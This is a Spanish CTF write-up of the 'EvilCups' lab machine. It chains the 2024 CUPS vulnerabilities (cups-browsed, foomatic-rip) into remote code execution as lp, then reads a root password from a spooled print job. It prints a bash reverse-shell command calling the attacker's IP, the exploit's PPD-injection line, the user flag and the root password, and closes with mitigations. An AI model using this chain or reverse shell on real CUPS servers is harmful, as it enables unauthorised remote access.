EvilCups
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. EvilCups es una máquina Linux de dificultad media construida alrededor de la cadena de vulnerabilidades de CUPS que se hizo pública a finales de septiembre de 2024. El único servicio interesante es CUPS 2.4.2 en el puerto 631. Abusando decups-browsedy la cadenafoomatic-ripregistramos una impresora maliciosa cuyo filtro ejecuta un comando: al lanzar un trabajo de impresión obtenemos ejecución como el usuariolpy una reverse shell. La flag de usuario es legible desde ahí. Para escalar, husmeamos en/var/spool/cups: los trabajos de impresión guardados conservan el documento renderizado, y uno de ellos contiene la contraseña derooten claro. Con ella, un simplesunos da la shell deroot.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).
ping -c 1 10.10.11.4064 bytes from 10.10.11.40: icmp_seq=1 ttl=63 time=39.0 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Lanzamos un escaneo TCP completo (los 65535 puertos) con nmap. Solo hay dos puertos abiertos: 22 (SSH) y 631 (IPP). El campo TTL del paquete de vuelta vale 63, cercano a 64, lo que apunta a Linux (cada salto de red decrementa el TTL en uno; es un indicio, no una prueba).
nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.40
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
631/tcp open ipp syn-ack ttl 63extractPorts resume el fichero -oG y deja los dos puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.40
Open ports: 22,631El puerto 631/IPP (Internet Printing Protocol) es la pista grande: es el puerto de CUPS, el sistema de impresión estándar de Linux. Pedimos versión y scripts por defecto sobre los dos puertos.
nmap -p22,631 -sCV 10.10.11.40
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
631/tcp open ipp CUPS 2.4
|_http-robots.txt: 1 disallowed entry
|_http-title: Home - CUPS 2.4.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEl 22 es OpenSSH 9.2p1 sobre Debian 12 (bookworm) y el 631 es CUPS 2.4.2. Esa versión exacta es la clave de toda la máquina.
CUPS en el 631
Perfilamos el servicio web del 631 con whatweb. Confirma el servidor CUPS/2.4 IPP/2.1 y el título Home - CUPS 2.4.2.
whatweb http://10.10.11.40:631
http://10.10.11.40:631 [200 OK] Content-Language[en_US], HTML5,
HTTPServer[CUPS/2.4 IPP/2.1], IP[10.10.11.40], Title[Home - CUPS 2.4.2],
X-Frame-Options[DENY]En el navegador, el 631 sirve la consola de administración de OpenPrinting CUPS 2.4.2, con sus pestañas habituales (Administration, Printers, Jobs...). De entrada no hay impresoras útiles ni credenciales, pero la versión ya lo dice todo: CUPS 2.4.2 es vulnerable a la cadena de RCE de septiembre de 2024.

Shell como lp
CVE-2024-47176: la cadena de CUPS
A finales de septiembre de 2024, Simone Margaritelli publicó una cadena de cuatro CVE en CUPS que, encadenadas, dan ejecución remota de comandos sin autenticar. Conviene entender las piezas porque explican por qué el ataque necesita un último empujón (un trabajo de impresión):
- CVE-2024-47176 (
cups-browsed). El demoniocups-browsedescucha en UDP/631 y, por defecto, confía en cualquier paquete IPP entrante. Un atacante puede enviarle un paquete que le ordene "darse de alta" contra una impresora alojada en una URL que controla. - CVE-2024-47076 (
libcupsfilters). Cuandocups-browsedconsulta los atributos IPP de esa impresora remota, no los valida: se fía de lo que devuelva el servidor del atacante. - CVE-2024-47175 (
libppd). Esos atributos sin validar se escriben tal cual en el fichero PPD que describe la nueva impresora. Eso permite inyectar directivas, entre ellasFoomaticRIPCommandLine. - CVE-2024-47177 (
cups-filters). El filtrofoomatic-ripejecuta el contenido deFoomaticRIPCommandLinecomo un comando del sistema cuando se imprime un trabajo en esa impresora.
La consecuencia: registramos una impresora cuyo PPD lleva nuestro comando, y este se ejecuta en cuanto alguien (o nosotros mismos) manda algo a imprimir. Una salvedad importante: la cadena no es un RCE instantáneo, depende de que se procese un trabajo de impresión, y el comando corre con los privilegios del proceso de impresión, es decir el usuario lp, no root.
Lanzar el exploit
Usamos el exploit de IPPSec, evil-cups, que automatiza toda la cadena: levanta un servidor IPP propio, manda el paquete UDP al cups-browsed del objetivo, sirve la impresora maliciosa con nuestro FoomaticRIPCommandLine y espera. La línea responsable de inyectar el comando en el PPD es justo esta:
( SectionEnum.printer,
b'printer-more-info',
TagEnum.uri ):
[f'"\n*FoomaticRIPCommandLine: "{self.command}"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'.encode()],Lo invocamos pasándole nuestra IP, la del objetivo y el comando a ejecutar (una reverse shell de bash). En otra terminal dejamos el listener a la escucha.
# nuestra máquina (listener)
sudo nc -nlvp 443
# lanzar el exploit: <LHOST> <RHOST> "<comando>"
python3 evilcups.py 10.10.15.39 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.15.39/443 0>&1'"Antes de lanzarlo, el listener que va a recibir la shell:
sudo nc -nlvp 443
listening on [any] 443 ...El exploit monta su servidor IPP, envía el paquete y avisa de que suele tardar unos 30 segundos en que el objetivo se conecte de vuelta a por los atributos de la impresora.

IPP Server Listening on ('10.10.15.39', 1234)
Sending udp packet to 10.10.11.40:631 ...
Please wait this normally takes 30 seconds ...
30 elapsed
target connected, sending payload ...Si recargamos la pestaña Printers de la consola web, la impresora maliciosa ya está registrada: HACKED_10_10_15_39, junto a la Canon_MB2300_series que ya existía.

Como dijimos, la impresora por sí sola no dispara nada: hay que mandar un trabajo. Entramos en la impresora HACKED_... y, en el menú Maintenance, elegimos Print Test Page. Ese trabajo pasa por el filtro foomatic-rip, que ejecuta nuestro comando.

En cuanto el trabajo se procesa, el foomatic-rip ejecuta la reverse shell y nuestro listener recibe la conexión: tenemos shell como lp.

connect to [10.10.15.39] from (UNKNOWN) [10.10.11.40] 35576
bash: cannot set terminal process group (3364): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$La shell llega sin terminal, y el propio bash lo dice al arrancar: cannot set terminal process group y no job control in this shell. El primer paso del tratamiento lo arregla:
script /dev/null -c bash
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.40] 52306
bash: cannot set terminal process group (1181): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
lp@evilcups:/$Después se suspende con Ctrl+Z, se pone la terminal local en crudo y se recupera el trabajo:
# Ctrl+Z
stty raw -echo; fg
reset xterm
lp@evilcups:/$ ^Z
zsh: suspended sudo nc -nlvp 443
[1] + continued sudo nc -nlvp 443Y por último se declaran la shell y el tipo de terminal:
export SHELL=bash TERM=xterm
La flag de usuario está en el home de htb y es legible desde nuestra sesión de lp.
cat /home/htb/user.txt
0d373f73350e171093ba4277a0f4bbbfShell como root
El directorio /var/spool/cups
El usuario lp es el que gestiona la cola de impresión, así que el primer sitio donde mirar es /var/spool/cups, donde CUPS guarda los trabajos. No podemos hacer ls del directorio (Permission denied), pero eso no nos frena: CUPS nombra los ficheros de cada trabajo de forma predecible. Por cada trabajo hay un fichero de control c<NNNNN> y un fichero de datos d<NNNNN>-<NNN> (una d, cinco dígitos, un guion y tres dígitos). El primer trabajo procesado, por tanto, es d00001-001.
cd /var/spool/cups/
ls # Permission denied: no podemos listar...
cat d00001-001 # ...pero sí leer un fichero concreto por su nombre predecible
El fichero d00001-001 es el documento renderizado que se imprimió en su día: una salida PostScript generada con GNU Enscript (un fichero de texto que describe la página).
%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
%%CreationDate: Sat Sep 28 09:31:01 2024
...La contraseña en el trabajo de impresión
Leyendo el PostScript hasta el final aparece, embebida como una cadena de texto a dibujar, la contraseña de root en claro: alguien imprimió en su momento un documento que la contenía, y el trabajo quedó guardado en el spool.

...
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1Esa cadena, Br3@k-G!@ss-r00t-evilcups, es la contraseña de root. La probamos con su y cambiamos de usuario directamente.
su root
# contraseña: Br3@k-G!@ss-r00t-evilcups
id
cat /root/root.txtsu la acepta y tenemos shell de root. Máquina rooteada.

Target IP Address
10.10.11.40
Submit User Flag User flag owned [4] Not Too Easy
Submit Root Flag Root flag owned [4] Not Too Easy
Congratulations kmn9!
You are player #369 to have pwned EvilCUPS.Cadena de ataque
CUPS 2.4.2 (631/IPP)
│ cups-browsed confía en el UDP/631 entrante (CVE-2024-47176)
▼
evilcups.py ─► registra impresora maliciosa con FoomaticRIPCommandLine
│ Print Test Page ─► foomatic-rip ejecuta el comando (CVE-2024-47177)
▼
reverse shell como lp ─► /home/htb/user.txt
│ husmear en /var/spool/cups (lp gestiona la cola)
▼
d00001-001 (PostScript del trabajo) ─► contraseña de root en claro
│ su root
▼
root ─► root.txtLecciones aprendidas
- La versión es la vulnerabilidad. En cuanto
nmapdijo CUPS 2.4.2, la máquina estaba decidida: esa rama es vulnerable a la cadena de septiembre de 2024. Reconocer la versión y conocer su CVE asociada fue más rápido que cualquier fuzzing. cups-browsedno debería estar expuesto. El fallo de raíz es que el demonio escuche en UDP/631 y se fíe de paquetes IPP de cualquiera. Mitigaciones reales: desactivarcups-browsedsi no se usa, y filtrar el 631 para que no sea accesible desde redes no confiables.- La cadena necesita un trabajo de impresión. No es un RCE instantáneo y, además, corre como
lp, no comoroot: por eso hizo falta una segunda fase. Conviene matizar el impacto en función de esas condiciones, no presentarlo como root inmediato. - Los trabajos de impresión guardan datos sensibles. La escalada no fue un exploit, sino leer
/var/spool/cups: el documento impreso (con la contraseña deroot) seguía ahí. Los spools, colas y ficheros temporales conservan información; limpiarlos y no imprimir secretos es parte de la higiene. Lo desarrollamos en fuga de secretos por trabajos de impresión.